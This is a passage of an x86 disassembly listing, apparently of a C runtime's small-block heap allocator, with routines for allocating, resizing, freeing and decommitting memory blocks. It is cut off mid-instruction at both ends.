ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_41E82E test bl, 1 jnz loc_41E827 add ebx, ecx cmp esi, ebx jg loc_41E827 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_41E6F7 push 3Fh pop ecx mov [ebp+var_8], ecx loc_41E6F7: ; CODE XREF: sub_41E680+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_41E747 cmp ecx, 20h jnb short loc_41E723 mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_41E747 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41E747 ; --------------------------------------------------------------------------- loc_41E723: ; CODE XREF: sub_41E680+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41E747 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41E747: ; CODE XREF: sub_41E680+7Dj ; sub_41E680+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_41E815 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_41E781 push 3Fh pop edi loc_41E781: ; CODE XREF: sub_41E680+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_41E803 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_41E7DA cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41E7CD mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41E7CD: ; CODE XREF: sub_41E680+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_41E7FF ; --------------------------------------------------------------------------- loc_41E7DA: ; CODE XREF: sub_41E680+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41E7F0 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41E7F0: ; CODE XREF: sub_41E680+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_41E7FF: ; CODE XREF: sub_41E680+158j shr edx, cl or [eax], edx loc_41E803: ; CODE XREF: sub_41E680+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_41E818 ; --------------------------------------------------------------------------- loc_41E815: ; CODE XREF: sub_41E680+E5j mov edx, [ebp+arg_4] loc_41E818: ; CODE XREF: sub_41E680+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_41E96E ; --------------------------------------------------------------------------- loc_41E827: ; CODE XREF: sub_41E680+52j ; sub_41E680+5Cj xor eax, eax jmp loc_41E971 ; --------------------------------------------------------------------------- loc_41E82E: ; CODE XREF: sub_41E680+49j jge loc_41E96E mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_41E859 push 3Fh pop esi loc_41E859: ; CODE XREF: sub_41E680+1D4j test byte ptr [ebp+var_4], 1 jnz loc_41E8E8 mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41E872 push 3Fh pop esi loc_41E872: ; CODE XREF: sub_41E680+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_41E8C1 cmp esi, 20h jnb short loc_41E89D mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_41E8BE mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41E8BE ; --------------------------------------------------------------------------- loc_41E89D: ; CODE XREF: sub_41E680+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41E8BE mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41E8BE: ; CODE XREF: sub_41E680+214j ; sub_41E680+21Bj ... mov ebx, [ebp+arg_4] loc_41E8C1: ; CODE XREF: sub_41E680+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41E8E8 push 3Fh pop esi loc_41E8E8: ; CODE XREF: sub_41E680+1DDj ; sub_41E680+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41E965 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_41E93C cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E92F mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_41E92F: ; CODE XREF: sub_41E680+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_41E961 ; --------------------------------------------------------------------------- loc_41E93C: ; CODE XREF: sub_41E680+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E952 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_41E952: ; CODE XREF: sub_41E680+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_41E961: ; CODE XREF: sub_41E680+2BAj shr edx, cl or [eax], edx loc_41E965: ; CODE XREF: sub_41E680+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_41E96E: ; CODE XREF: sub_41E680+1A2j ; sub_41E680:loc_41E82Ej push 1 pop eax loc_41E971: ; CODE XREF: sub_41E680+1A9j pop edi pop esi pop ebx leave retn sub_41E680 endp ; =============== S U B R O U T I N E ======================================= sub_41E976 proc near ; CODE XREF: sub_41EC6E:loc_41EE3Dp cmp dword_43A2E0, 0FFFFFFFFh push ebx push ebp push esi push edi jnz short loc_41E98A mov esi, offset off_43A2D0 jmp short loc_41E9A7 ; --------------------------------------------------------------------------- loc_41E98A: ; CODE XREF: sub_41E976+Bj push 2020h push 0 push dword_4DC904 nop call near ptr 27C0000h mov esi, eax test esi, esi jz loc_41EAB3 loc_41E9A7: ; CODE XREF: sub_41E976+12j mov ebp, dword_4271C4 push 4 push 2000h push 400000h push 0 call ebp mov edi, eax test edi, edi jz loc_41EA9C push 4 mov ebx, 10000h push 1000h push ebx push edi call ebp test eax, eax jz loc_41EA8E mov eax, offset off_43A2D0 cmp esi, eax jnz short loc_41EA06 cmp off_43A2D0, 0 jnz short loc_41E9F6 mov off_43A2D0, eax loc_41E9F6: ; CODE XREF: sub_41E976+79j cmp off_43A2D4, 0 jnz short loc_41EA1B mov off_43A2D4, eax jmp short loc_41EA1B ; --------------------------------------------------------------------------- loc_41EA06: ; CODE XREF: sub_41E976+70j mov [esi], eax mov eax, off_43A2D4 mov [esi+4], eax mov off_43A2D4, esi mov eax, [esi+4] mov [eax], esi loc_41EA1B: ; CODE XREF: sub_41E976+87j ; sub_41E976+8Ej lea eax, [edi+400000h] lea ecx, [esi+98h] mov [esi+14h], eax lea eax, [esi+18h] mov [esi+0Ch], ecx mov [esi+10h], edi mov [esi+8], eax xor ebp, ebp mov ecx, 0F1h loc_41EA3D: ; CODE XREF: sub_41E976+E2j xor edx, edx cmp ebp, 10h setnl dl dec edx and edx, ecx dec edx inc ebp mov [eax], edx mov [eax+4], ecx add eax, 8 cmp ebp, 400h jl short loc_41EA3D push ebx push 0 push edi call sub_41B590 add esp, 0Ch loc_41EA66: ; CODE XREF: sub_41E976+112j mov eax, [esi+10h] add eax, ebx cmp edi, eax jnb short loc_41EA8A or byte ptr [edi+0F8h], 0FFh lea eax, [edi+8] mov [edi], eax mov dword ptr [edi+4], 0F0h add edi, 1000h jmp short loc_41EA66 ; --------------------------------------------------------------------------- loc_41EA8A: ; CODE XREF: sub_41E976+F7j mov eax, esi jmp short loc_41EAB5 ; --------------------------------------------------------------------------- loc_41EA8E: ; CODE XREF: sub_41E976+63j push 8000h push 0 push edi nop call near ptr 2890608h loc_41EA9C: ; CODE XREF: sub_41E976+4Bj cmp esi, offset off_43A2D0 jz short loc_41EAB3 push esi push 0 push dword_4DC904 nop call near ptr 27B0000h loc_41EAB3: ; CODE XREF: sub_41E976+2Bj ; sub_41E976+12Cj xor eax, eax loc_41EAB5: ; CODE XREF: sub_41E976+116j pop edi pop esi pop ebp pop ebx retn sub_41E976 endp ; =============== S U B R O U T I N E ======================================= sub_41EABA proc near ; CODE XREF: sub_41EB10+A5p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 8000h push 0 push dword ptr [esi+10h] call near ptr 2890608h nop cmp off_43C2F0, esi jnz short loc_41EADF mov eax, [esi+4] mov off_43C2F0, eax loc_41EADF: ; CODE XREF: sub_41EABA+1Bj cmp esi, offset off_43A2D0 jz short loc_41EB07 mov eax, [esi+4] mov ecx, [esi] push esi push 0 mov [eax], ecx mov eax, [esi] mov ecx, [esi+4] mov [eax+4], ecx push dword_4DC904 nop call near ptr 27B0000h pop esi retn ; --------------------------------------------------------------------------- loc_41EB07: ; CODE XREF: sub_41EABA+2Bj or dword_43A2E0, 0FFFFFFFFh pop esi retn sub_41EABA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EB10 proc near ; CODE XREF: sub_41EC29+3Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi mov esi, off_43A2D4 push edi loc_41EB1D: ; CODE XREF: sub_41EB10+B7j cmp dword ptr [esi+10h], 0FFFFFFFFh jz loc_41EBBB and [ebp+var_4], 0 lea edi, [esi+2010h] mov ebx, 3FF000h loc_41EB36: ; CODE XREF: sub_41EB10+72j cmp dword ptr [edi], 0F0h jnz short loc_41EB77 mov eax, ebx push 4000h add eax, [esi+10h] push 1000h push eax nop call near ptr 2890608h test eax, eax jz short loc_41EB77 or dword ptr [edi], 0FFFFFFFFh dec dword_4DB2F4 mov eax, [esi+0Ch] test eax, eax jz short loc_41EB6C cmp eax, edi jbe short loc_41EB6F loc_41EB6C: ; CODE XREF: sub_41EB10+56j mov [esi+0Ch], edi loc_41EB6F: ; CODE XREF: sub_41EB10+5Aj inc [ebp+var_4] dec [ebp+arg_0] jz short loc_41EB84 loc_41EB77: ; CODE XREF: sub_41EB10+2Cj ; sub_41EB10+46j sub ebx, 1000h sub edi, 8 test ebx, ebx jge short loc_41EB36 loc_41EB84: ; CODE XREF: sub_41EB10+65j cmp [ebp+var_4], 0 mov ecx, esi mov esi, [esi+4] jz short loc_41EBBB cmp dword ptr [ecx+18h], 0FFFFFFFFh jnz short loc_41EBBB push 1 lea eax, [ecx+20h] pop edx loc_41EB9B: ; CODE XREF: sub_41EB10+9Aj cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41EBAC inc edx add eax, 8 cmp edx, 400h jl short loc_41EB9B loc_41EBAC: ; CODE XREF: sub_41EB10+8Ej cmp edx, 400h jnz short loc_41EBBB push ecx call sub_41EABA pop ecx loc_41EBBB: ; CODE XREF: sub_41EB10+11j ; sub_41EB10+7Dj ... cmp esi, off_43A2D4 jz short loc_41EBCD cmp [ebp+arg_0], 0 jg loc_41EB1D loc_41EBCD: ; CODE XREF: sub_41EB10+B1j pop edi pop esi pop ebx leave retn sub_41EB10 endp ; =============== S U B R O U T I N E ======================================= sub_41EBD2 proc near ; CODE XREF: sub_41B0B1+3Ap ; sub_41B202+173p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov edx, offset off_43A2D0 push esi mov ecx, edx loc_41EBDE: ; CODE XREF: sub_41EBD2+1Cj cmp eax, [ecx+10h] jbe short loc_41EBE8 cmp eax, [ecx+14h] jb short loc_41EBF0 loc_41EBE8: ; CODE XREF: sub_41EBD2+Fj mov ecx, [ecx] cmp ecx, edx jz short loc_41EC25 jmp short loc_41EBDE ; --------------------------------------------------------------------------- loc_41EBF0: ; CODE XREF: sub_41EBD2+14j test al, 0Fh jnz short loc_41EC25 mov esi, eax mov edx, 100h and esi, 0FFFh cmp esi, edx jb short loc_41EC25 mov esi, [esp+4+arg_4] mov [esi], ecx mov esi, [esp+4+arg_8] mov ecx, eax and cx, 0F000h sub eax, ecx mov [esi], ecx sub eax, edx pop esi sar eax, 4 lea eax, [eax+ecx+8] retn ; --------------------------------------------------------------------------- loc_41EC25: ; CODE XREF: sub_41EBD2+1Aj ; sub_41EBD2+20j ... xor eax, eax pop esi retn sub_41EBD2 endp ; =============== S U B R O U T I N E ======================================= sub_41EC29 proc near ; CODE XREF: sub_41B0B1+4Dp ; sub_41B202+1D5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch lea eax, [eax+ecx*8+18h] mov ecx, [esp+arg_8] movzx edx, byte ptr [ecx] add [eax], edx and byte ptr [ecx], 0 cmp dword ptr [eax], 0F0h mov dword ptr [eax+4], 0F1h jnz short locret_41EC6D inc dword_4DB2F4 cmp dword_4DB2F4, 20h jnz short locret_41EC6D push 10h call sub_41EB10 pop ecx locret_41EC6D: ; CODE XREF: sub_41EC29+2Bj ; sub_41EC29+3Aj retn sub_41EC29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EC6E proc near ; CODE XREF: sub_41B202+1ACp ; sub_41B513+4Ap ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, off_43C2F0 push edi loc_41EC7C: ; CODE XREF: sub_41EC6E+C6j mov edx, [esi+10h] cmp edx, 0FFFFFFFFh jz loc_41ED27 mov edi, [esi+8] lea ecx, [esi+2018h] mov eax, edi sub eax, esi sub eax, 18h sar eax, 3 shl eax, 0Ch add eax, edx cmp edi, ecx mov [ebp+var_4], eax jnb short loc_41ECE1 loc_41ECA7: ; CODE XREF: sub_41EC6E+6Fj mov ecx, [edi] mov ebx, [ebp+arg_0] cmp ecx, ebx jl short loc_41ECCA cmp [edi+4], ebx jbe short loc_41ECCA push ebx push ecx push eax call sub_41EE76 add esp, 0Ch test eax, eax jnz short loc_41ED39 mov eax, [ebp+var_4] mov [edi+4], ebx loc_41ECCA: ; CODE XREF: sub_41EC6E+40j ; sub_41EC6E+45j add edi, 8 lea ecx, [esi+2018h] add eax, 1000h cmp edi, ecx mov [ebp+var_4], eax jb short loc_41ECA7 jmp short loc_41ECE4 ; --------------------------------------------------------------------------- loc_41ECE1: ; CODE XREF: sub_41EC6E+37j mov ebx, [ebp+arg_0] loc_41ECE4: ; CODE XREF: sub_41EC6E+71j mov eax, [esi+8] mov ecx, [esi+10h] lea edi, [esi+18h] mov [ebp+var_8], eax cmp edi, eax mov [ebp+var_4], ecx jnb short loc_41ED2A loc_41ECF7: ; CODE XREF: sub_41EC6E+B5j mov eax, [edi] cmp eax, ebx jl short loc_41ED16 cmp [edi+4], ebx jbe short loc_41ED16 push ebx push eax push [ebp+var_4] call sub_41EE76 add esp, 0Ch test eax, eax jnz short loc_41ED39 mov [edi+4], ebx loc_41ED16: ; CODE XREF: sub_41EC6E+8Dj ; sub_41EC6E+92j add [ebp+var_4], 1000h add edi, 8 cmp edi, [ebp+var_8] jb short loc_41ECF7 jmp short loc_41ED2A ; --------------------------------------------------------------------------- loc_41ED27: ; CODE XREF: sub_41EC6E+14j mov ebx, [ebp+arg_0] loc_41ED2A: ; CODE XREF: sub_41EC6E+87j ; sub_41EC6E+B7j mov esi, [esi] cmp esi, off_43C2F0 jz short loc_41ED49 jmp loc_41EC7C ; --------------------------------------------------------------------------- loc_41ED39: ; CODE XREF: sub_41EC6E+54j ; sub_41EC6E+A3j mov off_43C2F0, esi sub [edi], ebx mov [esi+8], edi jmp loc_41EE71 ; --------------------------------------------------------------------------- loc_41ED49: ; CODE XREF: sub_41EC6E+C4j mov eax, offset off_43A2D0 mov edi, eax loc_41ED50: ; CODE XREF: sub_41EC6E+F8j cmp dword ptr [edi+10h], 0FFFFFFFFh jz short loc_41ED5C cmp dword ptr [edi+0Ch], 0 jnz short loc_41ED68 loc_41ED5C: ; CODE XREF: sub_41EC6E+E6j mov edi, [edi] cmp edi, eax jz loc_41EE3D jmp short loc_41ED50 ; --------------------------------------------------------------------------- loc_41ED68: ; CODE XREF: sub_41EC6E+ECj mov ebx, [edi+0Ch] and [ebp+var_4], 0 mov esi, ebx mov eax, ebx sub esi, edi sub esi, 18h sar esi, 3 shl esi, 0Ch add esi, [edi+10h] cmp dword ptr [ebx], 0FFFFFFFFh jnz short loc_41ED97 loc_41ED86: ; CODE XREF: sub_41EC6E+127j cmp [ebp+var_4], 10h jge short loc_41ED97 add eax, 8 inc [ebp+var_4] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41ED86 loc_41ED97: ; CODE XREF: sub_41EC6E+116j ; sub_41EC6E+11Cj mov eax, [ebp+var_4] push 4 shl eax, 0Ch push 1000h push eax push esi mov [ebp+var_8], eax nop call near ptr 2890763h cmp eax, esi jnz loc_41EE6F push 0 push [ebp+var_8] push esi call sub_41B590 mov edx, [ebp+var_4] add esp, 0Ch test edx, edx mov ecx, ebx jle short loc_41EDFE lea eax, [esi+4] mov [ebp+var_4], edx loc_41EDD4: ; CODE XREF: sub_41EC6E+18Ej or byte ptr [eax+0F4h], 0FFh lea edx, [eax+4] mov [eax-4], edx mov edx, 0F0h mov [eax], edx mov [ecx], edx mov dword ptr [ecx+4], 0F1h add eax, 1000h add ecx, 8 dec [ebp+var_4] jnz short loc_41EDD4 loc_41EDFE: ; CODE XREF: sub_41EC6E+15Ej mov off_43C2F0, edi lea eax, [edi+2018h] loc_41EE0A: ; CODE XREF: sub_41EC6E+1A8j cmp ecx, eax jnb short loc_41EE1A cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_41EE18 add ecx, 8 jmp short loc_41EE0A ; --------------------------------------------------------------------------- loc_41EE18: ; CODE XREF: sub_41EC6E+1A3j cmp ecx, eax loc_41EE1A: ; CODE XREF: sub_41EC6E+19Ej sbb eax, eax and eax, ecx mov [edi+0Ch], eax mov eax, [ebp+arg_0] mov [esi+8], al mov [edi+8], ebx sub [ebx], eax sub [esi+4], eax lea ecx, [esi+eax+8] lea eax, [esi+100h] mov [esi], ecx jmp short loc_41EE71 ; --------------------------------------------------------------------------- loc_41EE3D: ; CODE XREF: sub_41EC6E+F2j call sub_41E976 test eax, eax jz short loc_41EE6F mov ecx, [eax+10h] mov [ecx+8], bl lea edx, [ecx+ebx+8] mov off_43C2F0, eax mov [ecx], edx mov edx, 0F0h sub edx, ebx mov [ecx+4], edx movzx edx, bl sub [eax+18h], edx lea eax, [ecx+100h] jmp short loc_41EE71 ; --------------------------------------------------------------------------- loc_41EE6F: ; CODE XREF: sub_41EC6E+143j ; sub_41EC6E+1D6j xor eax, eax loc_41EE71: ; CODE XREF: sub_41EC6E+D6j ; sub_41EC6E+1CDj ... pop edi pop esi pop ebx leave retn sub_41EC6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EE76 proc near ; CODE XREF: sub_41EC6E+4Ap ; sub_41EC6E+99p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_8] push ebx push esi mov esi, [ecx+4] push edi mov edi, [ecx] lea ebx, [ecx+0F8h] cmp esi, edx mov [ebp+var_4], edi mov eax, edi mov [ebp+arg_0], ebx jb short loc_41EEBB lea eax, [edi+edx] mov [edi], dl cmp eax, ebx jnb short loc_41EEAA add [ecx], edx sub [ecx+4], edx jmp short loc_41EEB3 ; --------------------------------------------------------------------------- loc_41EEAA: ; CODE XREF: sub_41EE76+2Bj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41EEB3: ; CODE XREF: sub_41EE76+32j lea eax, [edi+8] jmp loc_41EF89 ; --------------------------------------------------------------------------- loc_41EEBB: ; CODE XREF: sub_41EE76+22j add esi, edi cmp byte ptr [esi], 0 jz short loc_41EEC4 mov eax, esi loc_41EEC4: ; CODE XREF: sub_41EE76+4Aj lea esi, [eax+edx] cmp esi, ebx jnb short loc_41EF0E loc_41EECB: ; CODE XREF: sub_41EE76+96j mov bl, [eax] test bl, bl jnz short loc_41EF01 push 1 lea ebx, [eax+1] pop esi loc_41EED7: ; CODE XREF: sub_41EE76+68j cmp byte ptr [ebx], 0 jnz short loc_41EEE0 inc ebx inc esi jmp short loc_41EED7 ; --------------------------------------------------------------------------- loc_41EEE0: ; CODE XREF: sub_41EE76+64j cmp esi, edx jnb short loc_41EF32 cmp eax, [ebp+var_4] jnz short loc_41EEEE mov [ecx+4], esi jmp short loc_41EEFA ; --------------------------------------------------------------------------- loc_41EEEE: ; CODE XREF: sub_41EE76+71j sub [ebp+arg_4], esi cmp [ebp+arg_4], edx jb loc_41EF93 loc_41EEFA: ; CODE XREF: sub_41EE76+76j mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41EF06 ; --------------------------------------------------------------------------- loc_41EF01: ; CODE XREF: sub_41EE76+59j movzx esi, bl add eax, esi loc_41EF06: ; CODE XREF: sub_41EE76+89j lea esi, [eax+edx] cmp esi, [ebp+arg_0] jb short loc_41EECB loc_41EF0E: ; CODE XREF: sub_41EE76+53j lea esi, [ecx+8] loc_41EF11: ; CODE XREF: sub_41EE76+EBj ; sub_41EE76+F2j cmp esi, edi jnb short loc_41EF93 lea eax, [esi+edx] cmp eax, [ebp+arg_0] jnb short loc_41EF93 mov al, [esi] test al, al jnz short loc_41EF63 push 1 lea ebx, [esi+1] pop eax loc_41EF29: ; CODE XREF: sub_41EE76+BAj cmp byte ptr [ebx], 0 jnz short loc_41EF53 inc ebx inc eax jmp short loc_41EF29 ; --------------------------------------------------------------------------- loc_41EF32: ; CODE XREF: sub_41EE76+6Cj lea ebx, [eax+edx] cmp ebx, [ebp+arg_0] jnb short loc_41EF43 sub esi, edx mov [ecx], ebx mov [ecx+4], esi jmp short loc_41EF4C ; --------------------------------------------------------------------------- loc_41EF43: ; CODE XREF: sub_41EE76+C2j and dword ptr [ecx+4], 0 lea esi, [ecx+8] mov [ecx], esi loc_41EF4C: ; CODE XREF: sub_41EE76+CBj mov [eax], dl add eax, 8 jmp short loc_41EF89 ; --------------------------------------------------------------------------- loc_41EF53: ; CODE XREF: sub_41EE76+B6j cmp eax, edx jnb short loc_41EF6A sub [ebp+arg_4], eax cmp [ebp+arg_4], edx jb short loc_41EF93 mov esi, ebx jmp short loc_41EF11 ; --------------------------------------------------------------------------- loc_41EF63: ; CODE XREF: sub_41EE76+ABj movzx eax, al add esi, eax jmp short loc_41EF11 ; --------------------------------------------------------------------------- loc_41EF6A: ; CODE XREF: sub_41EE76+DFj lea ebx, [esi+edx] cmp ebx, [ebp+arg_0] jnb short loc_41EF7B sub eax, edx mov [ecx], ebx mov [ecx+4], eax jmp short loc_41EF84 ; --------------------------------------------------------------------------- loc_41EF7B: ; CODE XREF: sub_41EE76+FAj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41EF84: ; CODE XREF: sub_41EE76+103j mov [esi], dl lea eax, [esi+8] loc_41EF89: ; CODE XREF: sub_41EE76+40j ; sub_41EE76+DBj imul ecx, 0Fh shl eax, 4 sub eax, ecx jmp short loc_41EF95 ; --------------------------------------------------------------------------- loc_41EF93: ; CODE XREF: sub_41EE76+7Ej ; sub_41EE76+9Dj ... xor eax, eax loc_41EF95: ; CODE XREF: sub_41EE76+11Bj pop edi pop esi pop ebx leave retn sub_41EE76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EF9A proc near ; CODE XREF: sub_41B202+19Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi movzx ecx, byte ptr [edx] push edi mov edi, [ebp+arg_0] and [ebp+var_4], 0 mov eax, ebx sub eax, [edi+10h] sar eax, 0Ch cmp ecx, [ebp+arg_C] lea edi, [edi+eax*8+18h] jbe short loc_41EFD4 mov eax, [ebp+arg_C] sub ecx, eax mov [edx], al add [edi], ecx mov dword ptr [edi+4], 0F1h jmp short loc_41F034 ; --------------------------------------------------------------------------- loc_41EFD4: ; CODE XREF: sub_41EF9A+26j jnb short loc_41F03B mov eax, [ebp+arg_C] lea esi, [edx+eax] lea eax, [ebx+0F8h] cmp eax, esi jb short loc_41F03B lea eax, [ecx+edx] loc_41EFE9: ; CODE XREF: sub_41EF9A+59j cmp eax, esi jnb short loc_41EFF7 cmp byte ptr [eax], 0 jnz short loc_41EFF5 inc eax jmp short loc_41EFE9 ; --------------------------------------------------------------------------- loc_41EFF5: ; CODE XREF: sub_41EF9A+56j cmp eax, esi loc_41EFF7: ; CODE XREF: sub_41EF9A+51j jnz short loc_41F03B mov al, byte ptr [ebp+arg_C] mov [edx], al mov eax, [ebx] cmp edx, eax ja short loc_41F02F cmp esi, eax jbe short loc_41F02F lea eax, [ebx+0F8h] cmp esi, eax jnb short loc_41F026 xor eax, eax mov [ebx], esi cmp [esi], al jnz short loc_41F021 loc_41F01A: ; CODE XREF: sub_41EF9A+85j inc eax cmp byte ptr [esi+eax], 0 jz short loc_41F01A loc_41F021: ; CODE XREF: sub_41EF9A+7Ej mov [ebx+4], eax jmp short loc_41F02F ; --------------------------------------------------------------------------- loc_41F026: ; CODE XREF: sub_41EF9A+76j and dword ptr [ebx+4], 0 lea eax, [ebx+8] mov [ebx], eax loc_41F02F: ; CODE XREF: sub_41EF9A+68j ; sub_41EF9A+6Cj ... sub ecx, [ebp+arg_C] add [edi], ecx loc_41F034: ; CODE XREF: sub_41EF9A+38j mov [ebp+var_4], 1 loc_41F03B: ; CODE XREF: sub_41EF9A:loc_41EFD4j ; sub_41EF9A+4Aj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41EF9A endp ; =============== S U B R O U T I N E ======================================= sub_41F043 proc near ; CODE XREF: sub_41B11A+A9p ; sub_41BB4F+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_41F117 test al, 40h jnz loc_41F117 test al, 2 jz short loc_41F069 or al, 20h mov [esi+0Ch], eax jmp loc_41F117 ; --------------------------------------------------------------------------- loc_41F069: ; CODE XREF: sub_41F043+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41F07D push esi call sub_4239EF pop ecx jmp short loc_41F082 ; --------------------------------------------------------------------------- loc_41F07D: ; CODE XREF: sub_41F043+2Fj mov eax, [esi+8] mov [esi], eax loc_41F082: ; CODE XREF: sub_41F043+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_41F11C add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_41F106 cmp eax, 0FFFFFFFFh jz short loc_41F106 mov edx, [esi+0Ch] test dl, 82h jnz short loc_41F0DB mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_41F0C4 mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, dword_4DC5C0[edi*4] lea edi, [edi+ecx*8] jmp short loc_41F0C9 ; --------------------------------------------------------------------------- loc_41F0C4: ; CODE XREF: sub_41F043+6Bj mov edi, offset dword_43C950 loc_41F0C9: ; CODE XREF: sub_41F043+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short 